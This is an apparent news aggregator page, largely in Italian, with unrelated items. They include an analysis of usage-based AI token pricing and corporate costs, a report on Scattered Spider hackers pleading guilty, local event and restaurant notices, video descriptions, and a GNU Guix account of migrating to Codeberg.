Un’azienda rimasta anonima avrebbe invece speso 500 milioni di dollari in un solo mese a causa dell’utilizzo sfrenato di Claude da parte dei suoi dipendenti, mentre persino un colosso come Meta ha imposto dei limiti all’utilizzo dei sistemi d’intelligenza artificiale generativa, come hanno fatto anche Amazon, AT&T, Brex e numerose altre società.

Che cos’è successo? Non eravamo nell’epoca del tokenmaxxing, ovvero la gara a chi usa di più l’intelligenza artificiale all’interno delle aziende? Per capire come mai la situazione sia cambiata così rapidamente basta sapere che, nel corso della prima metà del 2026, OpenAI e Anthropic hanno entrambi cambiato le condizioni dei contratti aziendali: non più una tariffa fissa anche per usare i loro sistemi più avanzati e specialistici, ma una tariffa a consumo – basata sulla quantità di “token” elaborati dai vari ChatGPT Codex, Claude Cowork e altri ancora – che ha fatto esplodere i costi in maniera imprevista.

E così, praticamente da un giorno all’altro, i token – oggetto fino a poco fa noto soltanto agli addetti ai lavori – sono diventati uno degli argomenti più discussi dai manager di mezzo mondo. A questo punto, fermiamoci un secondo: che cosa sono i token?

Che cosa sono i token, i mattoni alla base dei large language model

In sintesi estrema, i token sono l’unità di testo fondamentale che i modelli linguistici elaborano quando leggono, interpretano o generano informazioni. Nella maggior parte dei casi, un token non equivale a una parola, ma a una porzione di essa (in inglese, in media, quattro caratteri). Può però anche essere un segno di punteggiatura, uno spazio o un carattere speciale. Nel momento in cui un modello deve elaborare la frase “il gattino sta dormendo sul divano?”, la scompone in token con una forma simile a “il / gatt / ino / sta / dorm / endo / sul / divano / ?”.

Ogni volta che un modello linguistico elabora una forma testuale, indipendentemente dall’obiettivo o dalle mansioni per cui è impiegato, sta quindi elaborando una sequenza di token: li trasforma in rappresentazioni numeriche, li confronta con il contesto già ricevuto e calcola quale token abbia maggiore probabilità di venire dopo. È così che risponde a una domanda, riassume un documento, scrive codice o traduce una frase: non “capendo” le parole, ma prevedendo la sequenza di token più coerente con ciò che gli è stato chiesto. È il meccanismo noto come “next token prediction”.

Un po’ come il consumo elettrico si calcola in kilowattora o il traffico internet in gigabyte, il lavoro svolto da un’intelligenza artificiale generativa si misura in token. Con una differenza: il consumo effettivo può crescere molto rapidamente, perché non dipende solo dalla lunghezza della richiesta o della risposta finale, ma anche dalla quantità di informazioni che il modello deve leggere prima di produrla. Una domanda posta all’inizio di una chat con Claude consumerà quindi meno token della stessa domanda inserita in una lunga conversazione, perché il “contesto” che il modello linguistico deve analizzare è, nel primo caso, molto più ridotto.

Un ultimo elemento importante è che i token sono elementi linguistici nel caso degli LLM, mentre nei modelli che generano immagini possono corrispondere a porzioni di immagine, nei modelli audio a frammenti di suono, nei modelli video a sequenze di informazioni che combinano immagini, movimento e durata. Il principio però resta lo stesso: qualunque sia il contenuto generato — testo, voce, musica, immagini o video — il modello non lo elabora come un blocco unico, ma lo scompone in unità più piccole, le trasforma in numeri e lavora su quelle.

Un altro aspetto importante è che nel corso degli anni, grazie alla crescente efficienza dei modelli, il costo dei token è crollato: se nel 2023 il prezzo di un LLM come GPT-4 era di 30 dollari per milione di token in fase di input (quindi il testo che inseriamo noi) e di 60 dollari in output (quindi quello generato dall’AI), oggi GPT-5.5 costa rispettivamente 5 e 30 dollari. Secondo alcune stime, dal 2020 al 2026 i prezzi medi per token sono calati addirittura di 600 volte.

La paradossale economia dei token

Ma se il prezzo dei token è crollato – e possiamo sostenere che sia sceso significativamente anche per le società che sviluppano LLM, pur in assenza di dati trasparenti a riguardo – com’è possibile che il passaggio a una tariffa a consumo abbia fatto esplodere i costi, al punto da consumare in pochi mesi l’intero budget annuale di Uber e costringere Meta a limitare l’uso dell’intelligenza artificiale in ufficio?

La ragione è duplice. Da una parte, i modelli più avanzati e basati su “ragionamento” – che scompongono la richiesta in più passaggi – consumano molti più token delle loro controparti tradizionali (e spesso forniscono risposte più lunghe). Dall’altra, la diffusione dei modelli linguistici e il loro utilizzo spesso intensivo (e non mirato) hanno provocato un enorme aumento dei token da elaborare. Un singolo dipendente che usa ogni giorno un modello di frontiera può quindi consumare molti più token rispetto anche solo a due anni fa.

Unendo questi due aspetti, si capisce perché Google – come spiegato dal CEO Sundar Pichai – sia passato in un trimestre da 10 a 16 miliardi di token elaborati ogni minuto. OpenAI ha invece dichiarato che la sua piattaforma API (cioè l’infrastruttura attraverso cui aziende e sviluppatori collegano i propri software ai modelli di OpenAI) è passata da 6 a oltre 15 miliardi di token al minuto tra l’autunno 2025 e la primavera 2026, dopo essere già cresciuta di circa venti volte nei due anni precedenti.

Questa impennata del consumo di token è stata a lungo nascosta dalle tariffe fisse ed è invece improvvisamente diventata evidente con il passaggio a una tariffazione a consumo: “L’intelligenza artificiale è oggi la voce di spesa che sta aumentando più rapidamente dei budget aziendali”, si legge in un report Deloitte di inizio anno. “Alcune società hanno affermato che oggi l’AI consuma fino alla metà della loro spesa in tecnologie dell’informazione. Nonostante il prezzo unitario dei token stia calando, la spesa complessiva delle aziende per i sistemi di intelligenza artificiale, e la loro scala di utilizzo, stanno aumentando. Il numero di utenti, la complessità dei modelli e l’intensità dei carichi di lavoro porteranno probabilmente a un maggiore consumo di token e, di conseguenza, a costi più elevati”.

Il passaggio a una fatturazione a consumo è probabilmente il principale responsabile dell’impennata del fatturato di Anthropic, passato dai 4,8 miliardi di dollari del primo trimestre 2026 ai 10,9 miliardi attesi per il secondo trimestre. Sarà però interessante capire che cosa succederà nel trimestre ancora successivo, quando i manager delle aziende avranno definitivamente fatto i conti con le spese fuori controllo per utilizzare Claude Code, Cowork o gli altri sistemi avanzati di Anthropic: “I costi della computazione sono ormai diventati una priorità per i direttori finanziari e per i consigli d’amministrazione”, ha spiegato al Financial Times Costi Perricos, responsabile AI di Deloitte. “[OpenAI e Anthropic] hanno insegnato a utenti e aziende che l’intelligenza artificiale fosse economica o addirittura gratis, ma le cose non stanno affatto così”.

Carter Busse, dirigente della società di software Workato, ha raccontato sempre al Financial Times come l’utilizzo dell’intelligenza artificiale sia esploso tra i suoi dipendenti non appena hanno iniziato a sfruttare gli agenti AI. La brutta sorpresa è arrivata alla prima fattura a consumo di Anthropic: “La nostra spesa è salita improvvisamente di 7 volte e ho pensato: ‘merda, abbiamo creato un mostro’”, ha spiegato Busse, che adesso sta spronando i suoi dipendenti a usare modelli più economici e in modo più responsabile. Ancora più preoccupanti per i colossi dell’intelligenza artificiale sono le dichiarazioni del presidente di Cisco Jeetu Patel: “Il costo dei token è molto più elevato dell’effettivo valore che essi generano su larga scala”.

Il vicolo cieco di OpenAI e Anthropic

Nel momento in cui le aziende iniziano a sobbalzare di fronte alle bollette e a domandarsi se il gioco valga la candela, OpenAI e Anthropic si trovano di fronte a quello che lo stesso Sam Altman ha definito “un enorme problema”. E come si risolve questo problema? Stando alle indiscrezioni, nell’unico modo (per ora) possibile: tagliando i prezzi pur di non perdere clienti, come starebbe per fare OpenAI anticipando una possibile mossa di Anthropic in questa stessa direzione.

Come ha riassunto Ed Zitron sul suo blog, “sono passati meno di tre mesi da quando le aziende hanno iniziato a pagare il vero costo dei servizi basati su LLM e sono già così chiaramente infuriate che sia Anthropic sia OpenAI stanno pianificando di tagliare il prezzo dei loro servizi già in perdita, facendo probabilmente crollare il fatturato mentre aumentano i costi complessivi”.

Il rischio è che i due colossi dell’intelligenza artificiale generativa si trovino alle prese con la più classica alternativa del diavolo: se non tagliano i prezzi, le aziende potrebbero ridurre l’impiego dei modelli linguistici (e come abbiamo visto, parecchie l’hanno già fatto). Se tagliano i prezzi, riducono gli introiti di società già oggi in rosso per decine di miliardi di dollari l’anno.

E qui si crea un secondo vicolo cieco: se le aziende tagliano l’uso dell’AI generativa, a cosa serviranno i 190 gigawatt di capacità elettrica per data center già pianificati, in una corsa globale che secondo McKinsey potrebbe richiedere investimenti fino a 7mila miliardi di dollari entro il 2030? E se invece OpenAI e Anthropic devono tagliare i loro prezzi per non perdere clienti aziendali, come faranno a rispettare i contratti da centinaia e centinaia di miliardi di dollari che hanno sottoscritto con Microsoft, Amazon, Google, CoreWeave e altri fornitori di potenza di calcolo?

Quanto pagheresti per usare ChatGPT?

A questo punto, viene da chiedersi che cosa potrebbe succedere se anche noi utenti comuni di ChatGPT e Claude fossimo costretti a pagare una tariffa a consumo invece di quelle fisse, che per gli usi più intensivi coprono solo una piccola parte dei costi reali.

In verità, qualcosa del genere si sta già verificando. A partire da giugno 2026, gli utenti di GitHub Copilot – ovvero l’assistente AI per scrivere codice collegato alla piattaforma per la condivisione di progetti software di proprietà di Microsoft – sono passati da un abbonamento fisso mensile a un sistema di fatturazione legato anche al consumo di token. Secondo quanto riporta un utente, il prezzo da lui pagato potrebbe salire da 29 fino a 750 dollari al mese; un altro segnala che nel suo caso il costo potrebbe schizzare fino a 3mila dollari.

Attenzione, perché una parte della responsabilità va attribuita al cosiddetto “vibe-coding”, ovvero la scrittura di codice in cui tutti i passaggi tecnici sono affidati all’intelligenza artificiale, aumentando drasticamente il consumo di token. Difficile però incolpare i “vibe-coders” per il loro uso indiscriminato di Copilot, visto che è stata proprio Microsoft a incoraggiarlo e adesso invece lo punisce con bollette fuori controllo.

E se anche OpenAI e Anthropic, conclusa la guerra al ribasso per conquistare gli utenti, dovessero decidere di far pagare i token in base al consumo? È qualcosa che, in realtà, potrebbe avvenire in un futuro non troppo distante, vista la probabile quotazione in borsa di entrambe e la conseguente necessità di ridurre le stratosferiche perdite (per colmare le quali hanno dovuto raccogliere finanziamenti tra i più elevati della storia) e mostrare bilanci in miglioramento.

A questo punto, la domanda sorge spontanea: quanto dovremmo pagare per usare gli strumenti d’intelligenza artificiale se non avessimo a disposizione tariffe fisse tenute artificialmente basse? Una possibile risposta ce la fornisce una simulazione condotta dalla società di analisi SemiAnalysis. Secondo queste stime, il “vero prezzo” (inteso come il prezzo che pagheremmo se fossimo soggetti ad abbonamenti a consumo pari a quelli delle API) di un abbonamento a ChatGPT da 20 dollari al mese potrebbe arrivare fino a 700 dollari, mentre un abbonamento Pro da 200 dollari può raggiungere anche 14mila dollari (situazione simile per Anthropic).

Il vantaggio della Cina

Il problema, insomma, è sempre lo stesso: l’intelligenza artificiale generativa costa troppo e un modello di business sostenibile non è ancora all’orizzonte. È una situazione che riguarda però soprattutto i più avanzati modelli di frontiera sviluppati negli Stati Uniti. E che potrebbe invece avvantaggiare l’ecosistema AI della Cina.

Il segnale più evidente arriva sempre dal consumo di token. Secondo i dati di OpenRouter, a giugno i tre modelli più utilizzati per quantità di token elaborati sono tutti cinesi: MiMo di Xiaomi, MiniMax e DeepSeek. È un segnale di come una quota crescente dell’uso degli LLM – a partire da quello che avviene all’interno di applicazioni, strumenti di lavoro, agenti e servizi aziendali – si stia spostando verso i più economici modelli made in China.

Ad avvantaggiare la Cina è un mix di fattori, tra cui troviamo l’energia meno cara, i data center più economici, le infrastrutture sostenute dallo stato, l’aggressiva concorrenza interna e il fatto che i modelli siano spesso progettati per consumare meno, grazie a scelte di architettura informatica e anche a causa delle restrizioni che impediscono alla Cina di avere accesso ai chip più avanzati. Il vantaggio cinese diventa ancora più evidente guardando i prezzi: i modelli cinesi più usati costano infatti una frazione dei modelli di punta di OpenAI e Anthropic.

Il prezzo per milione di token è però solo una parte del costo reale. Come ha spiegato il ricercatore indipendente Wong Qi Han a CNA, se un modello sbaglia spesso e quindi richiede più tentativi, funziona peggio in una lingua straniera, ha maggiore latenza o pone problemi di sicurezza e compliance, il risparmio iniziale può essere illusorio. In linea teorica, la metrica decisiva non dovrebbe essere il costo per milione di token, ma quanto spendiamo per ottenere un risultato soddisfacente (per gli utenti comuni) o il ritorno sull’investimento (per le aziende). Il problema è che entrambe queste metriche sono estremamente difficili da misurare.

È possibile che i più costosi modelli statunitensi continueranno a essere usati per le attività complesse, mentre quelli cinesi potrebbero conquistare la fascia più ampia del mercato, quella degli usi quotidiani come supporto professionale o assistente personale.

Tutto è bene quel che finisce bene? Non è detto. Per la Cina, il rischio principale è l’eccessiva concorrenza sui prezzi e la compressione dei margini, che potrebbe mettere a rischio la profittabilità di DeepSeek e compagni. Per gli Stati Uniti, il rischio è invece che essere esclusi (a causa dei prezzi elevati) dalla massa dei casi d’uso quotidiani e ad alto volume causerebbe non tanto (o non solo) una riduzione dei potenziali ricavi, ma potrebbe provocare soprattutto una riduzione della potenza di calcolo necessaria.

Considerando le cifre immense che stanno venendo investite in GPU, cloud e data center, ritrovarsi con una richiesta di potere computazionale inferiore alle attese potrebbe trasformare l’attuale corsa alle infrastrutture in un enorme azzardo finanziario. E a quel punto, la temuta bolla dell’intelligenza artificiale potrebbe scoppiare per davvero.

L'articolo L’economia dei token e il vero prezzo dell’intelligenza artificiale proviene da Guerre di Rete.

Milano si rifà il look nel verde: nasce “Cascina Corten”, il nuovo polo poliedrico del gusto a Cascina Merlata Spazio Vivo

24 Giugno 2026 ore 12:11

Un’oasi cittadina di condivisione che unisce caffetteria, ristorante gourmet con cucina a
vista, pizzeria d’autore e aree esperienziali per famiglie e amanti del relax.


MILANO – Nel cuore pulsante di uno dei quartieri a maggior sviluppo e dinamismo della
città, apre ufficialmente i battenti Cascina Corten, la nuova realtà culinaria ed esperienziale
all’interno di Cascina Merlata Spazio Vivo.
Uno spazio poliedrico e multifunzionale di ampio respiro,
pensato per accogliere i cittadini in ogni momento della giornata, dalle prime luci del
mattino fino a tarda notte.


La struttura nasce con una missione precisa: offrire un’esperienza gastronomica raffinata,
flessibile e accessibile, capace di far sentire ogni ospite come a casa propria, immerso in
una suggestiva cornice verde.


Dalla colazione alla cena: il ritmo della giornata a Cascina Corten
La proposta si adatta fluidamente alle esigenze di una clientela diversificata e dinamica:
● Il Mattino (dalle 07:00): Una colazione curata, con una selezione di caffetteria
nazionale e internazionale per iniziare la giornata con il piede giusto.

● Il Pranzo: Soluzioni rapide, gustose e di alta qualità, pensate specificamente per i
professionisti e i lavoratori dei vicini uffici della zona.

● L’Aperitivo al Tramonto: Un’atmosfera conviviale in cui rilassarsi con un drink,
incontrando amici e parenti tra una chiacchiera e l’altra.

● La Cena e la Pizzeria: Una proposta attenta alle tradizioni culinarie ma aperta
all’innovazione, arricchita da un’elegante pizzeria. Al primo piano, gli ospiti potranno
vivere l’esperienza di un ristorante gourmet.

● Brunch: Un appuntamento fisso per rigenerarsi nel weekend, che unisce il calore
della tradizione ai trend internazionali. Una proposta ricca e flessibile che spazia
dalle dolci tentazioni della pasticceria artigianale a piatti salati ricercati, uova
preparate al momento e sfiziosità gourmet.


Un design ripensato tra interno ed esterno.
Il progetto ha previsto una profonda riorganizzazione della struttura, valorizzando sia gli
spazi interni che le ampie aree verdi esterne:
● Interni Luminosi ed Eleganti: Ambienti moderni tinti con tonalità pastello,
illuminazione LED e un grande bancone multifunzionale in materiali naturali.

● Primo Piano: La zona pizzeria è stata impreziosita da una struttura interamente in
vetro che la rende visibile e attrattiva anche dall’esterno.

● Le Aree Esterne Modulari: Un piazzale con gazebi rimovibili per gli eventi all’aperto,
una zona relax sul prato con divanetti e pouf , e un’innovativa area “mare” con
ombrelloni e fondo parzialmente sabbioso per ricreare un’atmosfera balneare in
piena città.


Strizza l’occhio alle famiglie
Cascina Corten si distingue nettamente nel panorama locale per l’estrema
personalizzazione del servizio (dalle insalate su misura alle pizze componibili) e per una
spiccata attenzione al mondo kids.

CASCINA CORTEN
Via Pier Paolo Pasolini 3 – Milano
Info e Prenotazioni : +39 393 727 7522
https://cascinacorten.it/
info@cascinacorten.it

Orari di apertura
Lunedì – Giovedì 07:00 – 24:00
Venerdì – Sabato 07:00 – 01:00
Domenica 07:00 – 24:00

L'articolo Milano si rifà il look nel verde: nasce “Cascina Corten”, il nuovo polo poliedrico del gusto a Cascina Merlata Spazio Vivo proviene da InfoMilano.news.

Scattered Spider Hackers Plead Guilty on Day 1 of Trial

23 Giugno 2026 ore 18:12

Two men pleaded guilty in the United Kingdom this week to criminal charges stemming from an August 2024 cyberattack that crippled Transport for London, the entity responsible for the public transport network in the Greater London area. The duo were key members of a prolific cybercrime group known as Scattered Spider, and their guilty pleas came on the first day of what was expected to be a six-week trial.

Owen Flowers (left) 18, and Thalha Jubair, 20. Image: UK National Crime Agency (NCA).

Thalha Jubair, 20, of East London and 18-year-old Owen Flowers of Walsall admitted conspiring to commit unauthorized acts against Transport for London computer systems and causing risk of serious damage to human welfare. According to a report from the BBC, Flowers alone admitted to being part of a conspiracy to hack into U.S. based healthcare providers SSM Health Care Corporation and Sutter Health in September 2024.

Jubair is also wanted by U.S. law enforcement agencies. In September 2025, prosecutors in New Jersey unsealed an indictment alleging Jubair and other Scattered Spider members committed computer fraud, wire fraud, and money laundering in relation to 120 computer network intrusions involving 47 U.S. entities between May 2022 and September 2025, and that the group’s victims paid at least $115 million in ransom payments.

In July 2025, KrebsOnSecurity reported that Flowers and Jubair were arrested in the United Kingdom in connection with Scattered Spider ransom attacks against the retailers Marks & Spencer and Harrods, and the British food retailer Co-op Group. Multiple sources familiar with those investigations said Flowers was the Scattered Spider member who anonymously gave interviews to the media in the days after the group’s September 2023 ransomware attacks disrupted operations at Las Vegas casinos operated by MGM Resorts and Caesars Entertainment.

According to prosecutors, Jubair co-ran a bustling Telegram channel called Star Chat, the home of a SIM-swapping group that used voice- and SMS-based phishing attacks to steal credentials from employees at the major wireless providers in the U.S. and U.K. The group would then use that access to sell a service that could redirect a target’s phone number to a device the attackers controlled and intercept the victim’s calls and text messages (including one-time codes for multi-factor authentication).

A receipt from Star Fraud Chat’s SIM-swapping service targeting a T-Mobile customer after the group gained access to internal T-Mobile employee tools. “Rocket Ace” was one of Jubair’s hacker handles, according to U.S. prosecutors.

New Jersey prosecutors also allege Jubair also was involved in a mass SMS phishing campaign during the summer of 2022 that stole single sign-on credentials from employees at hundreds of companies. That weeks-long SMS phishing campaign led to intrusions and data thefts at more than 130 organizations, including LastPassDoorDashMailchimpPlex and Signal.

KrebsOnSecurity reported last year that one of Jubair’s alter egos at age 15 was “Everlynn,” a hacker who sold fraudulent “emergency data requests” that used compromised police and government email addresses to demand subscriber data (e.g. username, IP/email address) from major tech companies, claiming the requests concerned urgent matters of life and death and could not wait for a court order.

In April 2026, 24-year-old British national and Scattered Spider member Tyler “Tylerb” Buchanan pleaded guilty to wire fraud conspiracy and aggravated identity theft for participating in the group’s SMS phishing spree in the summer of 2022. The government said Buchanan, Jubair and others used the credentials harvested in that phishing campaign to steal at least $8 million in cryptocurrency from victims throughout the United States. Buchanan is currently scheduled to be sentenced on October 2.

In August 2025, 20-year-old Scattered Spider member from Florida named Noah Michael Urban was sentenced to 10 years in federal prison and ordered to pay $13 million in restitution, after pleading guilty to charges of wire fraud and conspiracy.

The U.S. Department of Justice says three alleged Scattered Spider defendants indicted along with Buchanan still face charges, including Ahmed Hossam Eldin Elbadawy, 24, a.k.a. “AD,” of College Station, Texas; Evans Onyeaka Osiebo, 21, of Dallas, Texas; and Joel Martin Evans, 26, a.k.a. “joeleoli,” of Jacksonville, North Carolina.

Flowers and Jubair are slated to be sentenced in a London court on July 15, 2026.

CANTA STORIE: Alessio Lega in concerto con Rocco Marchi

23 Giugno 2026 ore 07:58
Sabato 27 giugnopresso Teatrofficina Refugioore 21.30CANTA STORIEALESSIO LEGAIN CONCERTOcon ROCCO MARCHI dalle 20 cena evento a cura diFederazione Anarchica Livornese Una serata con Alessio Lega per cantare storie d’amore e di anarchia, storie che la storia ha voluto schiacciare e non ci è riuscita, storie di personaggi improbabili che non si sono mai arresi, storie […]

Dalla banca allo smartphone: come cambia l’accesso al credito digitale

23 Giugno 2026 ore 12:58
Prestiti, come cambia l'accesso al credito - Foto fpai
La digitalizzazione dei servizi finanziari ha trasformato il modo in cui i consumatori valutano e richiedono un prestito. Comparatori online, simulazioni digitali e piattaforme di credito rendono il processo più rapido e accessibile, aiutando gli utenti a confrontare costi, condizioni e sostenibilità delle diverse soluzioni disponibili.

L'articolo Dalla banca allo smartphone: come cambia l’accesso al credito digitale proviene da FullPress.

Ho provato 3 dispositivi Seeed Studio per la rete mesh! Ecco come funzionano

23 Giugno 2026 ore 12:54

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In questo video vi porto alla scoperta di tre interessanti dispositivi Seeed Studio dedicati alle comunicazioni LoRa off-grid. Analizzeremo il design, le caratteristiche tecniche, le funzionalità, la configurazione iniziale e le possibili applicazioni nel mondo delle comunicazioni senza rete cellulare.
Questi dispositivi sono ideali per escursioni, campeggio, radioamatori, attività outdoor e per chi desidera realizzare una rete mesh indipendente da Internet. I modelli Wio Tracker L1 Pro sono disponibili preinstallati sia con firmware Meshtastic sia con MeshCore, mentre il SenseCAP T1000-E è un tracker ultracompatto pensato per reti LoRa.
#seeedstudio #meshtastic #meshcore

SenseCAP Solar Node P1-Pro: https://www.seeedstudio.com/SenseCAP-Solar-Node-P1-Pro-for-Meshtastic-LoRa-p-6412.html?sensecap_affiliate=GEYK6Gf&referring_service=link

Wio Tracker L1 Pro: https://www.seeedstudio.com/Wio-Tracker-L1-Pro-p-6454.html?sensecap_affiliate=GEYK6Gf&referring_service=link

SenseCAP Card Tracker T1000-E for Meshtastic: https://www.seeedstudio.com/SenseCAP-Card-Tracker-T1000-E-for-Meshtastic-p-5913.html?sensecap_affiliate=GEYK6Gf&referring_service=link

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Geografie d'acqua: paesaggi ibridi. Presentazione del libro di Francesco Visentin

L'8 aprile 2026 il geografo Francesco Visentin, docente all'Università di Udine, ha presentato il suo libro Geografie d'acqua: paesaggi ibridi (Marsilio, 2024) alla libreria Modo Infoshop di Bologna, in dialogo con Wu Ming 1 e con letture dell'attore Marco Manfredi. Incontro organizzato da Bologna for Climate Justice. L'irregimentazione dei fiumi come «colonizzazione della pioggia»; la desocializzazione dell'acqua; siccità e scarsità d'acqua non sono la stessa cosa; l'esondazione non è l'alluvione; i fiumi non sono linee blu; viviamo in un mondo di tubi, nel tubocene; camminare come forma di conoscenza; l'archivio e i luoghi; i concetti di wetness e solastalgia eccetera.

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Follow the Money — Soldi Sporchi, Affari Puliti: Come Cosa Nostra Ricicla Miliardi

22 Giugno 2026 ore 21:40

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Come fa la mafia a trasformare milioni di dollari di sangue e droga in ville, pale eoliche e scaffali di supermercati? Il denaro sporco non scompare — cambia forma. E chi sa dove guardare riesce ancora a seguirne la scia.

In questa terza e ultima parte di "Follow the Money" scopriamo il destino dei grandi clan mafiosi dopo la guerra di mafia degli anni Ottanta. Gli Inzerillo e i Gambino — i cosiddetti "scappati" — tornano in Sicilia dopo decenni di esilio americano e riprendono silenziosamente il controllo degli affari. Seguiamo gli investimenti segreti di Matteo Messina Denaro nell'energia eolica e nella grande distribuzione. E restiamo senza parole davanti al ritrovamento dei 200 milioni nascosti dai Tamburello.

Cosa trovi in questo video:
✔️ Il ritorno degli Inzerillo e dei Gambino in Sicilia dopo l'esilio americano
✔️ Come Matteo Messina Denaro investiva nella green economy e nell'eolico
✔️ La penetrazione di Cosa Nostra nella grande distribuzione alimentare
✔️ Il ritrovamento dei 200 milioni nascosti dalla famiglia Tamburello
✔️ I meccanismi del riciclaggio mafioso nell'economia legale italiana
✔️ Come lo Stato ha cercato — e spesso fallito — di seguire il denaro

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BAD DRIVERS OF ITALY dashcam compilation 6.22 - ERRORE 404

22 Giugno 2026 ore 18:00

💾

Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
Seguici sui canali BDOI per essere AGGIORNATO e vedere le MIGLIORI CLIP https://bit.ly/canalibdoi
Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
Do you want to send us the clips of YOUR DASHCAM? See how on https://bit.ly/inviavideo
Follow us on BDOI channels to be UPDATED and see the BEST CLIPS https://bit.ly/canalibdoi
Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation

MVVblog nel 1995

22 Giugno 2026 ore 16:40

💾

Musica https://www.youtube.com/watch?v=N9_kZkVuuQ4

Attrezzature nel video :

Stampante InkJet Epson Stylus Color 720dpi
Scanner A4 SCSI Trust
Highscreen Colani Tower 486DX4 66MHz
Highscreen Colani Tower Pentium 90MHz
2 x Monitor VGA Highscreen 15 pollici

486DX2 con scheda controller Lion Lamb
per pilotare a passo uno i BetacamSP
e scheda video TIGA a 24bit 720x576
con uscite Y/C PAL

Animga 4000/40 con monitor Addonics VGA 15 pollici
2 x Monitor Commodore 1084s
Monitor Pioneer da 22 Pollici (TV monitor Hi-Fi non ricordo il modello)
Mixer Video Panasonic WJ-AVE5
Centralina di montaggio SONY
Videoregistratore Sony BetacamSP UVW1800p
Lettore Sony BetacamSP UVW1600p
2 x Videoregistratori Sony SLV-R1000 S-VHS
Videoregistratore S-VHS Mitsubishi HS-E70
Videoregistratore Sony EV500E Hi8
Mixer Audio Tascam M-06st
Lettore CD Pioneer Pd-4050
Registratore a cassette Pioneer CT-737
Casse acustiche Pioneer CS-767
Equalizzatore audio e amplificatore di cui non ricordo nulla

HO 32 ANNI e NON HO UNA CASA

22 Giugno 2026 ore 14:00

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Voglio comprare casa, ma sembra impossibile. Comprare prima casa a 32 anni è una sfida complessa tra mutui, visite e burocrazia. Ecco la realtà senza filtri del mercato.

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GNU Guix: One year with Codeberg

22 Giugno 2026 ore 16:00

A year ago, Guix migrated to Codeberg for source code hosting, issue tracking, and pull requests. This is a significant change for a project with more than 400 people contributing code each year, after more than decade hosting code at Savannah and dealing with bug reports and patches by email, tracked by a Debbugs instance. This article discusses the process that led to this change and lists some takeaways, a year later.

The non-obvious choice

For years before, the question of our choice of source code hosting and collaboration tools would regularly come up. However, with a community effectively built around the existing tools and workflows, a change to a pull-request workflow was far from obvious—even if many would admit that yes, pull requests are more familiar to many younger hackers than patches and bug reports by email.

Active contributors were efficient with the email workflow—often thanks to Emacs and/or to top-notch email clients—while at the same time being critical of “modern” Web-based forges: after all, Debbugs weighs in at a few hundred lines of Perl, building upon the battle-tested standards and built-in federation of email, whereas a forge like Forgejo is much bigger with hundreds of Go dependencies.

A further complication is that, over time, contributors had built tools around this workflow: mumi would provide a nice web interface to Debbugs and the Quality Assurance service would automatically apply patch series in a Git branch and build packages from that branch—to give the most visible examples. Migrating was all but obvious.

Despite these achievements, dissatisfaction was palpable though, even more so when Steve George (a.k.a. Futurile) published the results of the first user and contributor survey in January 2025, with feedback from no less than 900 people. For contributors who took part in the survey, the email workflow was often mentioned as a hindrance.

Making decisions

As if things were not difficult enough, there was no “benevolent dictator” that the project could rely on to make a sharp decision. Instead, in December 2024, the project adopted a process for collective decision-making: the Guix Consensus Document (GCD) process. The process is ambitious: instead of merely asking “project members” (a concept that needs to be properly defined!) to vote on proposals, authors of proposals are expected to work with everyone to build consensus on the proposal; participants cannot merely “oppose” a proposal but should instead express their needs and suggest concrete changes to address them. At the end of the process, participants can “support”, “accept”, or “disapprove” the final revision of the proposal.

It is too early to tell whether the GCD process will stand the test of time—as of this writing seven proposals were submitted through this process, with varying outcomes—but it surely proved to be a good way to work collectively on the forge migration issue, which was the first real-world use of the GCD process.

GCD 002 was submitted in February 2025 as a proposal to migrate to Codeberg for source code hosting and collaboration. The discussion lasted for two months—the maximum duration permitted by the process—with contributions by many people. Two thirds of the Guix team members participated in the deliberation, among which 72% expressed “support” while the remaining 28% merely “accepted” the proposal; nobody “disapproved” it so the proposal came into force in early May 2025.

The discussion showed that many long-time contributors were not comfortable with the idea of moving to a workflow largely perceived as Web-first and inefficient compared to the email workflow. The idea of abandoning part of the infrastructure carefully built around the email workflow over the years was also unappealing. Yet, the prospect of reaching out to a broader community and improving the developer experience for many was probably a driving force that led to this positive outcome.

One thing in the proposal that didn’t trigger much debate though is the preference both for a free-software-based forge and for one hosted by a non-profit, Codeberg e.V. This choice is very much in line with the Guix ethos.

Switchover

As agreed-upon in the GCD, the switch to Codeberg was incremental: the main repository was migrated on May 25th, 2025, with the former repository still available as a mirror today; the former issue and patch tracker was kept active until January 1st, 2026, when Codeberg issues and pull requests became the only supported mechanisms (but older bug reports and patches remain accessible on-line).

Thanks to the planning devised during the consensus-building discussion, there were few hiccups and surprises when we switched. The quality of service achieved by the Codeberg e.V. employees and volunteers has been very good and the occasional downtime was usually short and clearly communicated.

For some of us, the main difficulty was to adapt to the new workflow. For those who prefer a workflow out of the browser, the good news is that Emacs interfaces—fj.el and more recently Emacs-Forgejo—have been getting better everyday thanks to their amazing developers; the ability to create pull requests using the AGit workflow has also helped bring peace and harmony.

The one issue that wasn’t sufficiently anticipated is continuous integration for pull requests. The part of qa.guix.gnu.org that would previously build packages for patches sent by email was not ported to Codeberg. For several months, it was up to reviewers to make sure that pull requests would not break anything—a situation that was not sustainable.

Screenshot of a “review” by @guix-cuirass-bot that specifies successful and failed package builds.

In September 2025, an instance of Cuirass was set up at pulls.ci.guix.gnu.org to finally build pull requests. This was initially seen as a stopgap because of several limitations compared to what qa.guix.gnu.org would previously do—such as the fact that packages now get built for a single architecture. However, one advantage for newcomers is that feedback is immediately visible: Cuirass sends reports indicating success or failure directly in pull requests as guix-cuirass-bot.

Renewed collaboration

One of the intuitions and hope we had when we decided to migrate to Codeberg is that the pull-request workflow and its Web interface would allow us to reach out to a broader set of contributors. How did it go?

A first insight is that the commit rate—measured as the number of commits pushed on the main branch—is a noisy metric that doesn’t reveal much. What we see by looking at the period from May 2024 to May 2026 (so one year before and one year after the migration) essentially shows that the commit rate remained essentially between “high” and “very high”:

Graph showing the monthly commit rate between May 2024 and May 2026.

(As an aside, where are the tools to plot statistics like this from a Git repository? I found myself hacking something together.)

Looking at contributions is more insightful. The plot below shows the number of monthly commit authors, the number of monthly committers, and the number of new commit authors each month (people who authored a commit for the first time in the Git history) for that same period.

